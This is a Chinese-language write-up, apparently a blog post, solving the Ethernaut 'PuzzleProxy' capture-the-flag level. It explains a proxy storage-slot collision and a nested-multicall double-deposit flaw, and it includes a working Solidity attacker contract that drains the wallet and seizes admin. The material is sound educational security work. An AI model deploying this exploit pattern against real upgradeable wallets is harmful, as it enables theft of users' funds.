LEVEL 24 (PuzzleProxy):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
通关要求
admin = player
要点
delegatecall的storage冲突问题
(前面几关有涉及,参考第6关)
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk
解题思路
proxy和impl的storage冲突如下:
slot | proxy | impl
----------------------------------
0 | pendingAdmin | owner
1 | admin | maxBalance
所以要修改admin可以设置maxBalance,但setMaxBalance需要合约余额为0(合约开始会是0.001 ether),这样就需要取光合约的余额。
分析下impl的multicall/deposit是有逻辑漏洞,就是可以一次multicall,里包含多个multicall,这些multicall里包含deposit。这样会导致如malticall的mgs.value一次,但会deposit多次,造成一次转账多次使用增加balances
如调用multicall时mgs.value=0.001 ether,传入2个multicall,每个multicall嵌一个deposit,最终balances[msg.sender] = 0.002 ether,但余额只增加0.001 ether
最终变成总合约余额=0.002 ether,我们的balances[player] = 0.002 ether
再执行合约的execute取0.002 ether就可以把余额取光
function run(address _runAddress) external payable {
ILevel level = ILevel(_runAddress);
//proxy和impl的storage位置冲突了,设置pendingAdmin对应的是impl的owner
level.proposeNewAdmin(address(this));
level.addToWhitelist(address(this));
bytes memory depositData = abi.encodeWithSelector(
bytes4(keccak256("deposit()")));
bytes memory executeData = abi.encodeWithSelector(
bytes4(keccak256("execute(address,uint256,bytes)")),
address(this),
0.002 ether,
new bytes(0));
bytes [] memory mutilecallBytes = new bytes[](3);
mutilecallBytes[0]=getMuticallData(depositData);
mutilecallBytes[1]=getMuticallData(depositData);
mutilecallBytes[2]=getMuticallData(executeData);
//multicall逻辑漏洞,只验证了同个列表不能有多个deposit,没验证不能multicall,这样可以把deposit放在multicall里
level.multicall{value:0.001 ether}(mutilecallBytes);
//proxy和impl的storage位置冲突了,设置maxBalance对应的是proxy的admin
level.setMaxBalance(uint160(msg.sender));
}
function getMuticallData(bytes memory data) private pure returns (bytes memory){
bytes [] memory mutilecallBytes = new bytes[](1);
mutilecallBytes[0]=data;
bytes memory mutilecallData = abi.encodeWithSelector(
bytes4(keccak256("multicall(bytes[])")),
mutilecallBytes);
return mutilecallData;
}
Top comments (0)